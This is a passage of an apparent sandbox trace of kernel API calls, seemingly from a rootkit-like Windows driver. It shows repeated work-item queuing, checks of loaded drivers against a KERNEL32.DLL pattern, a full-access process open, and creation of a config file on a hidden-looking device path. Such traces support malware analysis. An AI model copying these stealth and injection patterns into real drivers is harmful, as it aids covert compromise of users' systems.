List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0082.463] KeWaitForMutexObject () returned 0x102 [0083.476] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0083.476] KeWaitForMutexObject () returned 0x102 [0084.491] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0084.491] KeWaitForMutexObject () returned 0x102 [0085.521] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0085.521] KeWaitForMutexObject () returned 0x102 [0086.550] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0086.550] KeWaitForMutexObject () returned 0x102 [0088.172] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0088.172] KeWaitForMutexObject () returned 0x102 [0089.191] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0xfffff80002a74618, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0089.191] KeWaitForMutexObject () returned 0x102 [0090.264] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0090.264] KeWaitForMutexObject () returned 0x102 [0091.292] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0091.292] KeWaitForMutexObject () returned 0x102 [0092.411] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0092.411] KeWaitForMutexObject () returned 0x102 [0093.603] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0093.603] KeWaitForMutexObject () returned 0x102 [0095.769] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0095.769] KeWaitForMutexObject () returned 0x102 [0096.799] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0096.799] KeWaitForMutexObject () returned 0x102 [0097.891] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0097.891] KeWaitForMutexObject () returned 0x102 [0098.920] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0xfffff80002a74618, List.Blink=0xfffffa80018ee140, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0098.920] KeWaitForMutexObject () returned 0x102 [0099.934] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0099.934] KeWaitForMutexObject () returned 0x102 [0100.995] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0100.995] KeWaitForMutexObject () returned 0x102 [0102.064] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0102.064] KeWaitForMutexObject () returned 0x102 [0103.206] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0103.206] KeWaitForMutexObject () returned 0x102 [0104.366] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0104.366] KeWaitForMutexObject () returned 0x102 [0105.620] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0105.620] KeWaitForMutexObject () returned 0x102 [0107.037] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0107.037] KeWaitForMutexObject () returned 0x102 [0108.224] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0108.224] KeWaitForMutexObject () returned 0x102 [0109.238] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0109.239] KeWaitForMutexObject () returned 0x102 [0110.252] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0110.253] KeWaitForMutexObject () returned 0x102 [0111.282] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0111.283] KeWaitForMutexObject () returned 0x102 [0112.446] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0112.446] KeWaitForMutexObject () returned 0x102 [0113.450] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0113.451] KeWaitForMutexObject () returned 0x102 [0114.528] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0114.528] KeWaitForMutexObject () returned 0x102 [0115.588] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0115.588] KeWaitForMutexObject () returned 0x102 [0116.602] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0116.602] KeWaitForMutexObject () returned 0x102 [0117.616] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0117.616] KeWaitForMutexObject () returned 0x102 [0118.630] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0118.630] KeWaitForMutexObject () returned 0x102 [0119.644] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0119.644] KeWaitForMutexObject () returned 0x102 [0120.658] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0120.658] KeWaitForMutexObject () returned 0x102 [0121.672] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0121.673] KeWaitForMutexObject () returned 0x102 [0122.686] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0122.686] KeWaitForMutexObject () returned 0x102 [0123.700] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0123.700] KeWaitForMutexObject () returned 0x102 [0124.714] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0124.714] KeWaitForMutexObject () returned 0x102 [0125.728] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0125.728] KeWaitForMutexObject () returned 0x102 [0126.742] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0126.742] KeWaitForMutexObject () returned 0x102 [0127.756] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0127.756] KeWaitForMutexObject () returned 0x102 [0128.770] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0128.770] KeWaitForMutexObject () returned 0x102 [0129.784] ExQueueWorkItem (in: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0), QueueType=0x0 | out: WorkItem=0xfffff88002fabb00*(List.Flink=0x0, List.Blink=0xfffff80002a74618, WorkerRoutine=0xfffffa80027cb3cc, Parameter=0x0)) [0129.784] KeWaitForMutexObject () Thread: id = 11 os_tid = 0x98 Thread: id = 12 os_tid = 0x9c Thread: id = 13 os_tid = 0x40 [0066.073] IdePortDispatchSystemControl () returned 0xc0000001 [0066.073] IdePortDispatchSystemControl () returned 0xc00000bb [0067.662] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mouhid.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 14 os_tid = 0x94 [0067.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a3000 [0067.674] IdePortDispatch () returned 0x103 [0067.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e6000 [0067.676] IdePortDispatch () returned 0x103 [0067.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ea000 [0067.677] IdePortDispatch () returned 0x103 [0067.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ee000 [0067.677] IdePortDispatch () returned 0x103 [0067.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f2000 [0067.677] IdePortDispatch () returned 0x103 [0067.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0067.678] IdePortDispatch () returned 0x103 [0067.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fa000 [0067.678] IdePortDispatch () returned 0x103 [0067.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0067.678] IdePortDispatch () returned 0x103 [0084.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a00000 [0084.964] IdePortDispatch () returned 0x103 [0089.321] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ec000 [0089.321] IdePortDispatch () returned 0x103 [0100.738] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b11000 [0100.738] IdePortDispatch () returned 0x103 [0108.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c94000 [0108.667] IdePortDispatch () returned 0x103 Thread: id = 15 os_tid = 0x3c [0057.224] ObfReferenceObject (Object=0xfffffa80018da9c0) returned 0x4 [0057.224] ObMakeTemporaryObject (Object=0xfffffa80018da9c0) [0057.224] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x20) returned 0xfffffa800270f610 [0057.224] ExQueueWorkItem (in: WorkItem=0xfffffa800270f610*(List.Flink=0x0, List.Blink=0xfffff80002a5e820, WorkerRoutine=0xfffffa80027cbec4, Parameter=0xfffffa800270f610), QueueType=0x1 | out: WorkItem=0xfffffa800270f610*(List.Flink=0xfffff80002a74670, List.Blink=0xfffff80002a74670, WorkerRoutine=0xfffffa80027cbec4, Parameter=0xfffffa800270f610)) [0064.466] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\tunnel.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.488] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\vgapnp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.523] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\E1G6032E.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.565] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\HDAudBus.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.670] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\USBPORT.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.710] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\usbehci.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.728] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\intelppm.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.762] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\CompositeBus.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.801] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\AgileVpn.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.842] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\rasl2tp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.860] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\ndistapi.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\ndiswan.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.934] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\raspppoe.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.969] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\raspptp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0064.994] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\rassstp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.011] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\rdpbus.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.036] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\kbdclass.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.061] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mouclass.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\ks.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.144] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\swenum.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.156] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\umbus.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.572] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\usbhub.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.691] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\NDProxy.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.875] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\drmk.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\portcls.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\HdAudio.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.971] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\ksthunk.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.545] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0xfc, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff80000178) returned 0x0 [0066.545] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0066.545] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff8000017c, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0066.545] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.545] KeEnterCriticalRegion () [0066.545] ExAcquireFastMutexUnsafe 